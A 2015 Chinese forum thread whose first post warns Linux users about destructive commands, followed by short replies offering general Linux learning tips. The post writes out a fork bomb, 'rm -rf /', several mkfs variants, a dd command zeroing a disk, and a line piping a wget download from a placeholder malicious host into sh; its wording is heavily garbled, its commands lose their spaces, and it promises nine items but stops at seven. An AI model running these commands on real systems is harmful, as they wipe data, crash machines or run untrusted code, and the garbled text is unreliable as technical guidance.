若相依 发表于 2015-1-18 11:18:34

Linux编程:9个必需时候小心的Linux命令&代码仓酷云

有些人号称用过十几种甚至几十种linux,向人谈论起来头头是到,好像懂的很多。
概述:Linuxshell/terminal命令十分壮大,即便一个复杂的命令便可能招致文件夹、文件大概路径文件夹等被删除。为了不如许的事变产生,我们应当时候注重PHP代码&命令,明天为人人带来9个必需时候小心的Linux命令&代码。

Linuxshell/terminal命令十分壮大,即便一个复杂的命令便可能招致文件夹、文件大概路径文件夹等被删除。
在一些情形下,Linux乃至不会扣问你而间接实行命令,招致你丧失各类数据信息。
一样平常来讲在Web上保举新的Linux用户实行这些命令,固然,也有人哪些写过这代码的人不这么想,由于这玩意你一写下往就不是打趣了。

这里我搜集了一些对体系有伤害的Linux代码,匡助你制止他们。请记着:这些代码十分伤害,乃至能够经由修正,变得加倍有伤害性。
另有一些事变必要注重:一些命令只在Ubuntu中有sudo前缀时是有伤害的。其他刊行版本的Linux,则是在作为根目次命令时会有伤害。
1.LinuxForkBombCommand

:(){:|:&};:以ForkBomb出名,是一个回绝服务打击的Linux体系。:(){:|:&};:是一个bash函数。只需被实行,他会不休反复,直到体系被解冻。
你只能重启体系办理这个成绩。以是当你在Linux界面实行这个命令时必定要注重。
2.MvFolder/Dev/NullCommand

mvfolder/dev/null也是一个伤害的命令。Dev/null大概nulldevice是一个删除一切写在这个设备文件上数据的设备文件,可是,该操纵提醒倒是写进操纵实行乐成。这就是我们常说的bitbucked大概blackhole。
3.Rm-RfCommand

rm-rf命令在Linux体系中能够疾速删除文件夹及其内容。假如,你不晓得怎样准确利用它,你就只要哭了。
列下m-rf命令最多见的组合和选择:


[*]rmcommand:删除Linux体系的文件
[*]rm-fcommand:不需提醒,删除文件中的只读文件
[*]rm-rcommand轮回删除文件夹的内容
[*]rm-dcommand:删除空目次,假如非空目次则不会实行该操纵
[*]rm-rf/command:强迫删除根目次中的一切内容和子文件夹(包含写回护文件)命令。
[*]rm-rf*command:强迫删除以后目次中的一切内容(以后事情目次)和字文件夹
[*]rm-rf.command:强迫删除以后文件夹目次/子目次中的一切内容。同rm-r.[^.]*
Therm-r.[^.]*command:删除文件及文件夹,带有删除提醒
4.MkfsCommand

假如你不知mkfs的感化,那末它也是一个伤害的命令,mkfs以后写的任何命令都将会被一个空缺的linux文件体系格局化、替换。
上面枚举出必要办理员权限,格局化硬盘的命令:


[*]mkfs
[*]mkfs.ext3
[*]mkfs.bfs
[*]mkfs.ext2
[*]mkfs.minix
[*]mkfs.msdosmkfs.reiserfs
[*]mkfs.vfat
mkfs.cramfs也能够和下面的代码做一样的事变,不外不必要办理源权限。
5.TarBomb

tar命令用于将多个文件以.tar格局放进一个文件中(存档文件)。TapeArchive(Tar)bomb能够由他创立。
当为紧缩时,就是这个存档文件天生数以万计的类似称号文件呈现在以后目次中而不是新目次。
当收到tar文件,按期创立一个新的回护目次,然后在解压前将承受的tar文件放到这个目次中,你能够制止成为tarbomb的受益者。
6.DdCommand

Dd命令用于复制&改动硬盘分区。假如,你用错中央了,那末也很伤害。
上面枚举dd命令:


[*]ddif=/dev/hdaof=/dev/hdb
[*]ddif=/dev/hdaof=/dev/sdb
[*]ddif=somethingof=/dev/hda
[*]ddif=somethingof=/dev/sda
上面这个命令会将全部主硬盘清零:ddif=/dev/zeroof=/dev/had
7.ShellScriptCode

偶然候,你大概会被人坑,给你一个shell剧本文件,让你往下载并实行它。该剧本大概会包括一些歹意的或伤害的代码。命令情势大概会是如许:wgethttp://some_malicious_source-O-|sh。wget将会在sh局促剧本时下载剧本。

如果你学不好的话,你在linux中开发的机会就很少,或者说几乎没有,它的优势就消失了,然后随着时间的流逝,你就会全部忘记她;

金色的骷髅 发表于 2015-1-20 19:54:52

写学习日记,这是学习历程的见证,同时我坚持认为是增强学习信念的法宝。

飘灵儿 发表于 2015-1-25 17:44:09

编程学习及开发,Linux是免费,开源的操作系统,并且可开发工具相当多,如果您支持自由软件,一定要同广大热爱自由软件人士一同为其不懈努力。

老尸 发表于 2015-2-2 11:42:04

尽量不要提问纯属是扯蛋.学习Linux特别是自己一个人初学入手的时候没人教很困难.当然如果可以的话平时多去买些Linux书...对学习Linux很有帮助.

仓酷云 发表于 2015-2-7 19:16:43

选择交流平台,如QQ群,网站论坛等。

透明 发表于 2015-2-9 17:56:26

Windows有MS-DOS?方式,在该方式下通过输入DOS命令来操作电脑;Linux与Windows类似,也有命令方式,Linux?启动后如果不执行?X-WINDOWS,就会处于命令方式下,必须发命令才能操作电脑。?

爱飞 发表于 2015-2-18 13:08:34

Linux简单,占内存少,特别是对于程序开发人员来说很方便,如果说windows的成功在于其方便用户的窗口管理界面。

灵魂腐蚀 发表于 2015-3-5 00:54:11

对于英语不是很好的读者红旗 Linux、中标Linux这些中文版本比较适合。现在一些Linux网站有一些Linux版本的免费下载,这里要说的是并不适合Linux初学者。

海妖 发表于 2015-3-11 22:03:35

学习Linux应具备的。[书籍+网络资源]

变相怪杰 发表于 2015-3-19 14:42:09

虽然大家都比较喜欢漂亮的mm,但是在学 linux 的过程中,还是要多和“男人”接触一下:P 遇到问题的时候,出来看说和上网查之外,就是要多用 linux 下的 man 命令找找帮助。

愤怒的大鸟 发表于 2015-3-28 11:56:22

熟悉并掌握安装Linux,安装是学习的前提。目前较常见的安装方法有二种:
页: [1]
查看完整版本: Linux编程:9个必需时候小心的Linux命令&代码仓酷云